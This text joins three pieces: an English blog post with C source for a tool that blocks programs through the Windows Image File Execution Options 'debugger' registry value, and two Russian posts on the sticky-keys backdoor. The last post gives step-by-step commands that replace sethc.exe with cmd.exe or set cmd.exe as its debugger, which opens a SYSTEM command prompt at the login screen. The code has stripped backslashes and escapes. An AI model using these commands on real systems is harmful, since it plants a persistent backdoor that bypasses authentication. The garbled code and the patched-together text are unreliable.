How does it work?
The HKLMSOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Options
registry key allows you specify debuggers for executables. You add a subkey with your executable, and in that key you can add a REG_SZ
value with the name «debugger», and the data contains the file/path of your debugger.
I wrote a small program called processblocker.exe
to fill in as that debugger value. Once registered as the debugger, now my program is responsible for launching the executable. So, it simply doesn’t launch it. Process blocked!
The Code
Maintained at: https://github.com/guffre/processblocker/
//compile: cl processblocker.c
#include <windows.h>
#include <stdio.h>
#pragma comment(lib, "advapi32.lib")
#define MAX_KEY_LENGTH 255
#define MAX_VALUE_NAME 16383
const char OPTIONS_KEY[] = "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\";
const char PROCESSBLOCKER[] = "processblocker.exe";
BOOL CreateKey(LPCSTR IMAGE_KEY);
BOOL DeleteKey(LPCSTR IMAGE_KEY);
VOID ListKeys(LPCSTR KEYNAME);
VOID LogData(int argc, char *argv[]);
void __cdecl main(int argc, char *argv[])
{
LPSTR IMAGE_KEY = NULL;
DWORD keysize;
// If there are two arguments and the second argument is valid (contains ".exe")
if (argc == 3 && strstr(argv[2], ".exe")) {
// Create string of desired registry key. argv[2] is the executable name
keysize = sizeof(OPTIONS_KEY) + strlen(argv[2]) + 2;
IMAGE_KEY = calloc(keysize, sizeof(char));
snprintf(IMAGE_KEY, keysize, "%s%s", OPTIONS_KEY, argv[2]);
// Add a key if the argument is "-a"
if (!strcmp(argv[1], "-a")) {
printf("Creating key: %sn", IMAGE_KEY);
if (CreateKey(IMAGE_KEY)) {
printf("%s blocking setup was successful.n", argv[2]);
}
else {
printf("Error setting up blocking for %sn", argv[2]);
}
goto cleanup;
}
// Remove a key if the argument is "-r" or "-d"
else if ( !(strcmp(argv[1], "-r")) || !(strcmp(argv[1], "-d")) ) {
printf("Deleting key: %sn", IMAGE_KEY);
if (DeleteKey(IMAGE_KEY)) {
printf("%s unblocking setup was successful.n", argv[2]);
}
else {
printf("Error unblocking %s. (It might not have been blocked).n", argv[2]);
}
goto cleanup;
}
}
else if (argc == 2 && !(strcmp(argv[1], "-l")) ) {
ListKeys(OPTIONS_KEY);
return;
}
printf("Usage:n");
printf("t(block): %s -a <filename_to_block>n", argv[0]);
printf("t(unblock): %s -[rd] <filename_to_unblock>n", argv[0]);
printf("t(list): %s -ln", argv[0]);
// Log the fact the executable was run. Records argv arguments
LogData(argc, argv);
cleanup:
if (IMAGE_KEY)
free(IMAGE_KEY);
}
BOOL CreateKey(LPCSTR IMAGE_KEY) {
BOOL success;
DWORD err;
HKEY hKey = NULL;
success = FALSE;
if (RegCreateKeyEx(HKEY_LOCAL_MACHINE, IMAGE_KEY, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_WRITE, NULL, &hKey, NULL) == ERROR_SUCCESS)
{
err = RegSetValueEx(hKey, "debugger", 0, REG_SZ, PROCESSBLOCKER, sizeof(PROCESSBLOCKER));
if (ERROR_SUCCESS != err)
{
printf("Error setting debugger value for key: %sn", IMAGE_KEY);
goto cleanup;
}
}
else {
printf("Error creating key: %sn", IMAGE_KEY);
goto cleanup;
}
success = TRUE;
cleanup:
if (hKey)
RegCloseKey(hKey);
return success;
}
BOOL DeleteKey(LPCSTR IMAGE_KEY) {
BOOL success = FALSE;
if (RegDeleteKeyEx(HKEY_LOCAL_MACHINE, IMAGE_KEY, KEY_WOW64_32KEY, 0) == ERROR_SUCCESS) {
printf("Deleted 32-bit Registry Key: %sn", IMAGE_KEY);
success = TRUE;
}
if (RegDeleteKeyEx(HKEY_LOCAL_MACHINE, IMAGE_KEY, KEY_WOW64_64KEY, 0) == ERROR_SUCCESS) {
printf("Deleted 64-bit Registry Key: %sn", IMAGE_KEY);
success = TRUE;
}
return success;
}
VOID ListKeys(LPCSTR KEYNAME) {
HKEY hKey;
HKEY hSubKey;
CHAR achKey[MAX_KEY_LENGTH]; // buffer for subkey name
DWORD cbName; // size of name string
DWORD cSubKeys; // number of subkeys
DWORD cValues; // number of values for key
DWORD i, j;
LPSTR data;
DWORD data_size;
CHAR achValue[MAX_VALUE_NAME];
DWORD cchValue = MAX_VALUE_NAME;
CHAR SUBKEY[MAX_VALUE_NAME];
if( RegOpenKeyEx( HKEY_LOCAL_MACHINE, KEYNAME, 0, KEY_READ, &hKey) != ERROR_SUCCESS) {
printf("Error opening key: %sn", KEYNAME);
return;
}
// Query the OPTIONS_KEY in order to get count of subkeys
RegQueryInfoKey(
hKey, // key handle
NULL, // buffer for class name
NULL, // size of class string
NULL, // reserved
&cSubKeys, // number of subkeys
NULL, // longest subkey size
NULL, // longest class string
NULL, // number of values for this key
NULL, // longest value name
NULL, // longest value data
NULL, // security descriptor
NULL); // last write time
// Enumerate the subkeys, until RegEnumKeyEx fails.
data = calloc(MAX_VALUE_NAME, sizeof(char));
for (i = 0; i < cSubKeys; i++) {
cbName = MAX_KEY_LENGTH;
if (RegEnumKeyEx(hKey, i, achKey, &cbName, NULL, NULL, NULL, NULL) == ERROR_SUCCESS) {
// Create new string representing the subkey
memset(SUBKEY, 0, sizeof(SUBKEY));
strcat_s(SUBKEY, sizeof(SUBKEY), KEYNAME);
strcat_s(SUBKEY, sizeof(SUBKEY), achKey);
// Open the subkey to enumerate its values
if( RegOpenKeyEx( HKEY_LOCAL_MACHINE, SUBKEY, 0, KEY_READ, &hSubKey) == ERROR_SUCCESS) {
// This pulls out the number of values, as well as the max data size
if (RegQueryInfoKey(hSubKey, NULL, NULL, NULL, NULL, NULL, NULL, &cValues, NULL, &data_size, NULL, NULL) == ERROR_SUCCESS) {
// Make sure we have enough buffer to receive the data
if (data_size > MAX_VALUE_NAME) {
data = realloc(data, data_size); // This is "bad", but program will exit immediately after this return if it fails
if (data == NULL) {
printf("Error allocating memory!n");
return;
}
}
// Enumerate the key values. We are looking for the "debugger" value
for (j = 0; j < cValues; j++) {
cchValue = MAX_VALUE_NAME;
achValue[0] = '';
memset(data, 0, data_size);
if (RegEnumValue(hSubKey, j, achValue, &cchValue, NULL, NULL, data, &data_size) == ERROR_SUCCESS) {
if ( !(_stricmp("debugger", achValue)) ) {
// Found a debugger value, pull the data portion out:
printf("%s:n value: %sn data: %sn", achKey, achValue, data);
}
}
}
}
else
printf("Error getting info from subkey: %sn", SUBKEY);
}
else
printf("Error opening subkey: %sn", SUBKEY);
}
}
if (data)
free(data);
}
VOID LogData(int argc, char *argv[]) {
SYSTEMTIME st;
HANDLE hFile;
BOOL bErrorFlag;
LPSTR dataBuf;
int buf_size;
int i;
GetSystemTime(&st);
hFile = CreateFile("C:\Windows\Temp\processblocker.log", // name of the file
FILE_APPEND_DATA, // open for appending
0, // do not share
NULL, // default security
OPEN_ALWAYS, // create file if it doesn't exist, open if it does
FILE_ATTRIBUTE_NORMAL, // normal file
NULL);
if (hFile == INVALID_HANDLE_VALUE) {
return;
}
// buf_size is the max size of the buffer. 120 bytes (20 for the date, 100 just because), plus 1 byte for each argument (accounts for the ":" delimiter)
buf_size = 120 + argc;
for (i = 0; i < argc; i++) {
buf_size += strlen(argv[i]);
}
// Integer overflow. Weird for argv... lets log 16kb
if (buf_size <= 0)
buf_size = 1024 * 16;
// Allocate the buffer
dataBuf = calloc(buf_size, sizeof(char));
// Add timestamp and data to buffer. This format string (ASCII) has a length of 20 bytes
snprintf(dataBuf, buf_size, "%04d-%02d-%02d:%02d:%02d:%02d:", st.wYear, st.wMonth, st.wDay, st.wHour, st.wMinute, st.wSecond);
for (i = 0; i < argc; i++) {
strcat_s(dataBuf, buf_size, argv[i]);
strcat_s(dataBuf, buf_size, ":");
}
strcat_s(dataBuf, buf_size, "n");
// Write the log
bErrorFlag = WriteFile(
hFile, // open file handle
dataBuf, // start of data to write
strlen(dataBuf), // number of bytes to write
NULL, // number of bytes that were written
NULL); // no overlapped structure
if(dataBuf)
free(dataBuf);
CloseHandle(hFile);
}
В операционных системах Windows имеется довольно давно известная возможность организовать себе бэкдор, чтобы в будущем получить доступ к компьютеру, к которому доступа быть не должно. Сегодня хочу рассказать вам о нем, показать один из примеров его обнаружения, в самом топорном случае, а также маленько поразмышлять на эту тему.
В чем суть бэкдора? Все вы видели, что при входе в систему всегда есть кнопка «специальные возможности»
Там есть несколько утилит, таких как лупа, залипание клавиш, экранный диктор и т.п. Так вот, эти утилиты запускаются exe файлами, которые лежат в папке system32 вашей системной директории (по умолчанию – c:windowssystem32).
Если заменить оригинальные файлы, например командной строкой (cmd.exe), или еще чем-нибудь, где можно выполнять команды или что-нибудь запустить, то при запуске этих утилит из раздела специальных возможностей, преспокойно запустится замененный файл, и дальше можно делать всё что душе угодно.
Вот примеры исполняемых файлов, которые отвечают за специальные возможности:
sethc.exe – залипание клавиш
osk.exe – экранная клавиатура
Narrator.exe – экранный диктор
Magnify.exe – экранная лупа
DisplaySwitch.exe – переключение экрана
Напишите в комментариях, если что-то упустил.
В обычном случае, просто заменить эти файлы не удастся, т.к. не хватит прав. Для того что бы получить необходимые права сперва необходимо стать владельцем файла (в свойствах файла – вкладка безопасность – дополнительно – изменить владельца, само собой делать это нужно от имени администратора).
После чего во вкладке безопасность нужно дать полный доступ нужному пользователю на файл, и после этого можно заменить файл, например файлом cmd.exe.
Так же можно загрузиться с livecd, и если диск не зашифрован, то заменить файлы можно вообще без каких-либо проблем с правами.
Всё – теперь на экране ввода пароля можно пять раз быстро нажать shift (если будет заменен sethc.exe) и должна запуститься командная строка с повышенными привилегиями, где можно добавить администраторскую учетку и дальше делать всё что угодно на компьютере.
По мимо простой замены файлов, можно пойти несколько более хитрым путем – для утилит sethc.exe и utilman.exe в реестре можно добавить опцию debugger, и результат будет как при замене файлов. К примеру, это может сделать команда:
REG ADD «HKLMSOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Optionssethc.exe» /v Debugger /t REG_SZ /d «c:windowssystem32cmd.exe»
Как же с этим бороться? Как всегда – подобную пакость гораздо проще предупредить, чем обнаруживать. Поэтому – не давайте кому попало админских прав и включайте шифрование дисков.
Так же данный бэкдор может обнаружить windows defender – поэтому не стоит его отключать.
Пожалуй, один из очевидных и простых способов обнаружения – это запустить все средства специальных возможностей вручную, и проверить – запускается то, что нужно или нет. Хотя он не может гарантировать результат, т.к. не исключено, что злоумышленник может сделать свои утилиты, которые в точности будут копировать функционал оригинальных, и только при определенных событиях, например, при нажатии определенной комбинации клавиш, запускать нужную программу.
Еще на просторах интернета был обнаружен — интересный скрипт, для совсем топорных вариантов оставления описываемой возможности доступа к системе. Я его немного переделал, что бы он работал на старых версиях powershell (проверял на версии 2). Он работает по следующему принципу – вычисляет хэш для cmd.exe, explorer.exe и powershell.exe и сравнивает их со значением хэш сумм вышеописанных утилит. Если они совпадут, значит злоумышленник подменил файлы, и скрипт об этом сообщит. По мимо сравнения файлов, так же анализируется 2 ветки реестра, на предмет опции /debugger для утилит sethc.exe и utilman.exe.
К сожалению, данный скрипт, конечно же, тоже не является панацеей, т.к. злоумышленник вполне может использовать тот же cmd другой версии с другого компьютера, и хэш суммы у оригинальной и подмененной версий будут разными, ну или опять же может спокойно создать свой исполняемый файл. Вообще эта тема довольно обширная и 100% сценарий для обнаружения не сможет дать никто, и заметка эта написана с целью, что бы вы знали, что такая возможность у злоумышленников существует. А что с этой информацией делать – решать вам.
И да – часто советуют полностью отключать в панели управления/групповых политиках/еще где то специальные возможности, якобы это вас убережет… Нет, не убережет, если у злоумышленника есть админский или физический доступ к компьютеру, то ему не составит никакого труда изменить ваши настройки, или сделать так что бы они сами постоянно менялись. Короче будьте бдительны.
Привет Всем многоуважаемым читателям!!!
Сейчас вот возьму да и расскажу всем об интересном трюке в ОС Windows, который позволит выполнить любую команду с правами ОС прям на экране входа в ВИНДОВС еще до прохождения процедуры авторизации. Эту процедуру можно использовать в нужном русле, но ею может воспользоваться вор, который после получения доступа к вашей ОС, может оставить подобную консоль доступа себе, которую сложно детектировать. Сразу скажу, что это просто кривизна архитектуры ВИНДОУС.
Методика хака состоит в использовании функции “Sticky Keys”. Заменив исполняемый файл Sticky Keys – sethc.exe на другой файл, можно добиться, чтоб запускалась нужная программа, вместотоко, чтоб запускалась утилита включения залипания клавиши. Используя подобную методику можно запустить окно командной строки прям на экране входа в ВИНДОУС.
Методика подмены файл следующая: Делаем резервную копию файла, копируем в корень диска C
этот файл
:
copy c:windowssystem32sethc.exe c:
меняем файл sethc.exe на файл командной строки,
copy /y c:windowssystem32cmd.exe c:windowssystem32sethc.exe
Еще способ применения хака – устанавливаем отладчик для sethc.exe, можно сделать командой:
REG ADD «HKLMSOFTWAREMicrosoftВИНДОУС NTCurrentVersionImage File Execution Optionssethc.exe» /v Debugger /t REG_SZ /d «C:windowssystem32cmd.exe» Перезагружаем систему и на экране входа в ВИНДОУС пять раз жмем клавишу SHIFT, и запускается окно командной строки, которым заменили программу sethc.exe Командная строка запустится с правами SYSTEM, и мы получаем полный доступ к компу и можем запускать что угодно!
Эта ддовольно старая дыра в системе безопасности ВИНДОВС, когда разнообразные системные приложения запускаются из-под всемогущей SYSTEM, а не из- под ограниченной учетной записи. Трюк так же будет работать и в ВИНДОВС 7 и в Windows Server 2008 R2 и в ВИНДОУС 8 Consumer Preview. Он сработает по RDP сессии даже при терминальном подключении к серверу !
Достаточно широк диапазон применения подобной методики замены системных исполняемых файлов. Обезопасить свою систему можно, если отключить залипание клавиш Sticky Keys на компе.
На этом все пока и следите за новостями на этом блоге..